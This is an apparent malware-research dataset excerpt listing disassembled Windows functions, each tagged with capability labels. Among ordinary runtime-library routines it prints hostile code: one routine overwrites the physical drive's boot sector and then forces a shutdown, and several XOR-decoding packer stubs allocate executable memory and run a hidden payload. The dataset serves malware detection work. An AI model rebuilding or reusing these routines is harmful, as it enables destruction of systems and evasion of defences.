joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6653ba
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x724f70]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x6653fd
cmp word [esi], dx
jne 0x6653fd
or byte [edi + eax + 0x28], 4
jmp 0x665402
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x665555
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x665535
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x665444
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x66547a
cmp eax, edx
jae 0x665486
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x66541c
jmp 0x665555
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x665531
cmp dword [ebp - 0x14], 0
je 0x665531
mov eax, dword [ebx*4 + 0x724f70]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x665509
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x6654d2
mov word [esi], cx
jmp 0x665505
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x724f70]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x724f70]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x724f70]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x665555
pop ebx
cmp word [ebp - 4], bx
jne 0x66551a
cmp esi, dword [ebp + 0xc]
jne 0x66551a
mov word [esi], bx
jmp 0x665552
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.006651de
add esp, 0x10
cmp word [ebp - 4], bx
je 0x665555
push 0xd
jmp 0x66554e
mov ecx, dword [ebx*4 + 0x724f70]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x66554c
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x665555
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x6687ff
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00668670

Function at 0x66a355
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0066a2d1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x66a4cd
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x66a4cd
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x66a47c
jg 0x66a3ae
test eax, eax
je 0x66a472
push 1
push 0x1000
call fcn.0065b2c1
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x66a3d4
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x66a469
push 0x8000
push ebx
call fcn.006551b7
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x66a400
jg 0x66a3fb
cmp ecx, 0x1000
jb 0x66a400
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00658f13
add esp, 0x10
cmp eax, 0xffffffff
je 0x66a445
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x66a3fb
jl 0x66a42c
test ecx, ecx
jne 0x66a3ed
push dword [ebp - 0xc]
push ebx
call fcn.006551b7
push esi
call fcn.0065b31e
add esp, 0xc
xor edi, edi
jmp 0x66a4de
cmp byte [edi + 0x24], 0
je 0x66a45c
cmp dword [edi + 0x20], 5
jne 0x66a45c
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x66a467
mov edi, dword [edi + 0x18]
jmp 0x66a469
xor edi, edi
push esi
call fcn.0065b31e
pop ecx
jmp 0x66a4de
test ecx, ecx
jg 0x66a43e
jl 0x66a47c
test eax, eax
jae 0x66a43e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.006651de
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x66a49f
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x66a43e
jmp 0x66a4d6
push ebx
call fcn.00659ad5
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x66a43e
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x66a4de
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x66a4db
mov edi, dword [edi + 0x18]
jmp 0x66a4de
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.006651de
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x66b480
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x66b4ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x66b4ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x45bd58
Capabilities:
Encode data using xor

Disassembly:
mov word [ebx - 9], ds
wait
movsd dword es:[edi], dword [esi]
mov gs, word [ecx]
leave
or al, 0x18
pop esp
clc
xchg ah, dl
add eax, 0x7a4b0343
or dword [esi], esi
and al, 0x8a
mov ebp, 0xfa21b9bd
sub eax, 0x62800a62
dec ebp
wait
cmpsb byte [esi], byte es:[edi]
sar eax, 0x48
test byte [eax + 0x2f824e69], 7
lodsd eax, dword [esi]
invalid

Function at 0x1001a6e4
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
pushal
call 0x1001a6f3
pop dword [ebp - 4]
mov eax, 0x1001a6f3
sub dword [ebp - 4], eax
push 0x40
push 0x1000
push 0x401cf
push 0
mov eax, 0xb6f40a85
add eax, 0x590f5657
add eax, dword [ebp - 4]
call dword [eax]
mov ecx, 0x46a9
xor edi, edi
add edi, eax
mov esi, 0x1003be00
add esi, dword [ebp - 4]
mov ebx, 0xaf3c5cdb
add ebx, 0xfb82f846
mov edx, dword [esi]
xor edx, ebx
mov dword [edi], edx
add edi, 0xcc4270e4
sub edi, 0xcc4270e0
add esi, 4
loop 0x1001a743
add eax, 0x10d77
mov ebx, eax
add eax, 0x2947a6f3
sub eax, 0x2947a6ee
mov ecx, 0x10000000
add ecx, dword [ebp - 4]
call ebx
leave
ret

Function at 0x100289d0
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x100330b4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10035b0c]
test dword [ebp + 8], eax
je 0x10028a7a
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x808]
push eax
call fcn.1001a6e4
xor eax, eax
add esp, 0xc
mov word [ebp - 8], ax
mov eax, dword [0x10035b08]
test eax, eax
je 0x10028a6d
lea ecx, [ebp - 0x808]
push ecx
push eax
call fcn.1001a6e4
mov eax, dword [0x100330ac]
pop ecx
pop ecx
test eax, eax
jle 0x10028a7a
push esi
mov esi, dword [0x10035b10]
push edi
mov edi, dword [0x10035b14]
cdq
push edx
push eax
push edi
push esi
call fcn.10029420
add esi, 1
mov dword [0x10035b10], esi
adc edi, 0
or eax, edx
mov dword [0x10035b14], edi
pop edi
pop esi
jne 0x10028a7a
push dword [0x10035b08]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fflush]
pop ecx
jmp 0x10028a7a
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.kernel32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10028d50
leave
ret
Function at 0x1000cdef
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100024d0]
jne 0x1000d4b4
ret
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x10011e48], eax
mov dword [0x10011e44], ecx
mov dword [0x10011e40], edx
mov dword [0x10011e3c], ebx
mov dword [0x10011e38], esi
mov dword [0x10011e34], edi
mov word [0x10011e60], ss
mov word [0x10011e54], cs
mov word [0x10011e30], ds
mov word [0x10011e2c], es
mov word [0x10011e28], fs
mov word [0x10011e24], gs
pushfd
pop dword [0x10011e58]
mov eax, dword [ebp]
mov dword [0x10011e4c], eax
mov eax, dword [ebp + 4]
mov dword [0x10011e50], eax
lea eax, [ebp + 8]
mov dword [0x10011e5c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x10011d98], 0x10001
mov eax, dword [0x10011e50]
mov dword [0x10011d4c], eax
mov dword [0x10011d40], 0xc0000409
mov dword [0x10011d44], 1
mov eax, dword [0x100024d0]
mov dword [ebp - 0x328], eax
mov eax, dword [0x10011c40]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x10011d90], eax
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x100024e0
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x10011d90], 0
jne 0x1000d5a0
push 1
call sub.MSVCR100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x1000d850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1000d85f
pop dword [ebp - 0xc]
mov eax, 0x1000d85f
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xe0a3d967
sub dword [ebp - 0x1c], 0x9251941c
mov dword [ebp - 0x18], 0x67b416e8
add dword [ebp - 0x18], 0xca7f355d
mov dword [ebp - 0x14], 0x29f6df63
add dword [ebp - 0x14], 0x225564cb
mov dword [ebp - 0x10], 0x277820b6
add dword [ebp - 0x10], 0xd887df4a
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xb4b9eb98
add eax, 0x5b4624c0
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x34468fd9
sub dword [ebp - 0x1c], 0xbfd42683
mov dword [ebp - 0x18], 0x425b7c3d
add dword [ebp - 0x18], 0xff10e538
mov dword [ebp - 0x14], 0x8e7b5515
add dword [ebp - 0x14], 0xd4f41757
mov dword [ebp - 0x10], 0x9b733210
sub dword [ebp - 0x10], 0x9b733210
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x99ccf630
sub eax, 0x89cce628
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x34e7c
push 0
call eax
mov ecx, 0xbdc52ddc
sub ecx, 0xbdc4f518
xor esi, esi
add esi, eax
mov edx, 0xe95c198d
sub edx, 0xd959f78d
add edx, dword [ebp - 0xc]
mov edi, 0x1803d4f3
add edi, 0xfc7f1946
mov ebx, dword [edx]
xor dword [ebp - 8], ebx
add ebx, edi
add dword [ebp - 8], edx
mov dword [esi], ebx
add dword [ebp - 8], esi
add esi, 4
add edx, 0x48a836f5
add edx, 0xb757c90f
loop 0x1000d97e
add eax, 0xd5e3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x8f889cdc
sub ecx, 0x7f889cdc
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret

Function at 0x442384
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x442393
pop dword [ebp - 0x20]
mov eax, 0xeee167b1
sub eax, 0xee9d441e
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x51ebb
push 0
mov eax, 0xc2021613
add eax, 0x3e429c9d
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0x23979024
sub ecx, 0x23974101
mov edx, eax
mov ebx, 0x5e9e8886
add ebx, 0xa1a8d57a
add ebx, dword [ebp - 0x20]
mov edi, 0x9bdc631
add edi, 0xcf9d701b
add dword [ebp - 8], edx
mov esi, dword [ebx]
xor dword [ebp - 8], 0x9fb5335f
sub esi, edi
xor dword [ebp - 0x10], 0x139dac32
mov dword [edx], esi
xor dword [ebp - 0x18], ecx
add edx, 0xa078cbfa
sub edx, 0xa078cbf6
add ebx, 4
loop 0x4423f2
add eax, 0x520ad2e0
add eax, 0xadf65c7f
mov ebx, eax
add eax, 0x8bcda606
add eax, 0x743259ff
mov ecx, 0xd823b86b
sub ecx, 0xd7e3b86b
add ecx, dword [ebp - 0x20]
call ebx
leave
ret
Function at 0x10001000
Capabilities:
Shutdown system
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x1000b040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
call fcn.10001460
add esp, 0xc
mov ecx, 0xc
mov esi, section..data
lea edi, [ebp - 0x204]
rep movsd dword es:[edi], dword [esi]
push 0
push 0
push 3
push 0
movsw word es:[edi], word [esi]
push 3
push 0xc0000000
movsb byte es:[edi], byte [esi]
push str..PHYSICALDRIVE0
mov word [ebp - 6], 0xaa55
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10001079
pop edi
or eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1000144f
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
push 0
push 0
push 0x90018
push edi
call esi
push 0
lea eax, [ebp - 0x220]
push eax
push 0x200
lea eax, [ebp - 0x204]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0
lea eax, [ebp - 0x21c]
push eax
push 0
push 0
push 0
push 0
push 0x9001c
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetVersion]
cmp eax, 0x80000000
jae 0x10001145
lea eax, [ebp - 0x218]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x210]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push 0
push 0
push 0
lea eax, [ebp - 0x214]
push eax
push 0
push dword [ebp - 0x218]
mov dword [ebp - 0x214], 1
mov dword [ebp - 0x208], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.1000144f
mov esp, ebp
pop ebp
ret
Function at 0x10005509
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1000b040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.10002b84
mov dword [ebp - 0x14], eax
cmp dword [0x1000ca44], edi
jne 0x100055fa
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x10005587
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x100056da
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x100056da
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x100056da
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x1000ca44], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x1000ca48], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x1000ca4c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1000ca54], eax
test eax, eax
je 0x100055f7
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1000ca50], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1000561f
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x10005612
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x10005634
push 4
pop eax
jmp 0x100056dc
cmp dword [ebp - 0x14], edi
je 0x10005634
push dword [0x1000ca44]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x10005619
mov eax, dword [0x1000ca50]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x10005692
cmp dword [0x1000ca54], esi
je 0x10005692
push eax
call ebx
push dword [0x1000ca54]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x10005692
test eax, eax
je 0x10005692
call ecx
test eax, eax
je 0x10005687
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x10005687
test byte [ebp - 8], 1
jne 0x10005692
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x100056c2
mov eax, dword [0x1000ca48]
cmp eax, esi
je 0x100056bf
push eax
call ebx
test eax, eax
je 0x100056bf
call eax
mov edi, eax
test edi, edi
je 0x100056bf
mov eax, dword [0x1000ca4c]
cmp eax, esi
je 0x100056bf
push eax
call ebx
test eax, eax
je 0x100056bf
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x1000ca44]
call ebx
test eax, eax
je 0x100056da
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x100056dc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000144f
leave
ret
Function at 0x40e8c0
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
cmp byte [esi], 0
jne 0x40e8f3
push 0x104
lea eax, [ebp - 0x10c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea esi, [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0
push esi
call fcn.0040e720
add esp, 0x14
mov edi, dword [ebp - 4]
mov eax, dword [ebp - 8]
lea eax, [eax + edi*4]
push eax
call fcn.0040bd00
pop ecx
mov ebx, eax
test ebx, ebx
je 0x40e945
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebx + edi*4]
push eax
push ebx
push esi
call fcn.0040e720
add esp, 0x14
mov eax, dword [ebp - 4]
dec eax
mov dword [0x425208], eax
mov dword [0x425204], ebx
jmp 0x40e94d
push 0xfffffffffffffffc
call fcn.0040cfc0
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40e960
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [ebp - 4], eax
test eax, eax
je 0x40e9ec
mov eax, dword [ebp - 4]
xor edx, edx
cmp byte [eax], 0
je 0x40e999
or ecx, 0xffffffff
inc ecx
cmp byte [eax + ecx], 0
jne 0x40e983
inc ecx
cmp byte [eax], 0x3d
je 0x40e992
add edx, ecx
add eax, ecx
cmp byte [eax], 0
jne 0x40e980
inc edx
push edx
call fcn.0040bd00
pop ecx
mov dword [0x4250b8], eax
test eax, eax
je 0x40e9ff
mov edx, eax
mov eax, dword [ebp - 4]
mov esi, eax
cmp byte [esi], 0
je 0x40e9de
or eax, 0xffffffff
inc eax
cmp byte [esi + eax], 0
jne 0x40e9b9
lea edi, [eax + 1]
cmp byte [esi], 0x3d
je 0x40e9d7
xor ecx, ecx
mov al, byte [esi + ecx]
mov byte [edx + ecx], al
inc ecx
test al, al
jne 0x40e9ca
add edx, edi
add esi, edi
cmp byte [esi], 0
jne 0x40e9b6
mov byte [edx], 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
jmp 0x40ea07
push 1
push 1
call fcn.00411080
add esp, 8
mov dword [0x4250b8], eax
jmp 0x40ea07
push 0xfffffffffffffffc
call fcn.0040cfc0
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f720
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov esi, edx
mov edx, dword [ebp + 0x10]
add edx, eax
mov dword [ebp - 0x808], edx
xor edi, edi
mov dword [ebp - 0x80c], 0
cmp esi, dword [ebp - 0x808]
jae 0x40f7f1
lea eax, [ebp - 0x804]
cmp byte [esi], 0xa
jne 0x40f76d
add dword [ebp - 0x80c], 1
mov byte [eax], 0xd
inc eax
inc eax
inc esi
mov dl, byte [esi - 1]
mov byte [eax - 1], dl
lea edx, [ebp - 5]
cmp eax, edx
jae 0x40f784
cmp esi, dword [ebp - 0x808]
jb 0x40f75d
lea edx, [ebp - 0x804]
mov ebx, eax
sub ebx, edx
push dword [ebp + 0xc]
call fcn.0040ffa0
pop ecx
test al, al
je 0x40f7c6
push dword [ebp + 0xc]
call fcn.0040ff30
pop ecx
push ebx
lea edx, [ebp - 0x804]
push edx
push eax
call fcn.00411fe0
add esp, 0xc
test al, al
je 0x40f7f5
add edi, ebx
inc esi
cmp esi, dword [ebp - 0x808]
jb 0x40f757
jmp 0x40f7f1
push dword [ebp + 0xc]
call fcn.0040ff30
pop ecx
push 0
lea edx, [ebp - 4]
push edx
push ebx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40f7fc
mov eax, dword [ebp - 4]
add edi, eax
cmp eax, ebx
jae 0x40f7bb
xor esi, esi
jmp 0x40f804
mov esi, 0x1d
jmp 0x40f804
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov eax, dword [ebp + 8]
mov dword [eax], edi
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x80c]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov dword [eax + 8], esi
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40f830
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x810
push ebx
push esi
push edi
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
mov esi, edx
mov edx, dword [ebp + 0x10]
add edx, eax
mov dword [ebp - 0x80c], edx
mov dword [ebp - 0x808], 0
xor edi, edi
cmp esi, dword [ebp - 0x80c]
jae 0x40f8f7
lea eax, [ebp - 0x804]
cmp word [esi], 0xa
jne 0x40f87e
add edi, 2
mov word [eax], 0xd
add eax, 2
add eax, 2
add esi, 2
mov dx, word [esi - 2]
mov word [eax - 2], dx
lea edx, [ebp - 6]
cmp eax, edx
jae 0x40f89b
cmp esi, dword [ebp - 0x80c]
jb 0x40f86d
lea edx, [ebp - 0x804]
mov ebx, eax
sub ebx, edx
push dword [ebp + 0xc]
call fcn.0040ffa0
pop ecx
test al, al
je 0x40f911
push dword [ebp + 0xc]
call fcn.0040ff30
pop ecx
push 0
lea edx, [ebp - 4]
push edx
mov edx, ebx
shr edx, 1
push edx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
test eax, eax
je 0x40f903
shl dword [ebp - 4], 1
mov eax, dword [ebp - 4]
add dword [ebp - 0x808], eax
cmp eax, ebx
jb 0x40f8f7
add esi, 2
cmp esi, dword [ebp - 0x80c]
jb 0x40f867
mov dword [ebp - 0x810], 0
jmp 0x40f93f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x810], eax
jmp 0x40f93f
push dword [ebp + 0xc]
call fcn.0040ff30
pop ecx
push 0
lea edx, [ebp - 4]
push edx
push ebx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40f8db
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x810], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x808]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov dword [eax + 4], edi
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x810]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret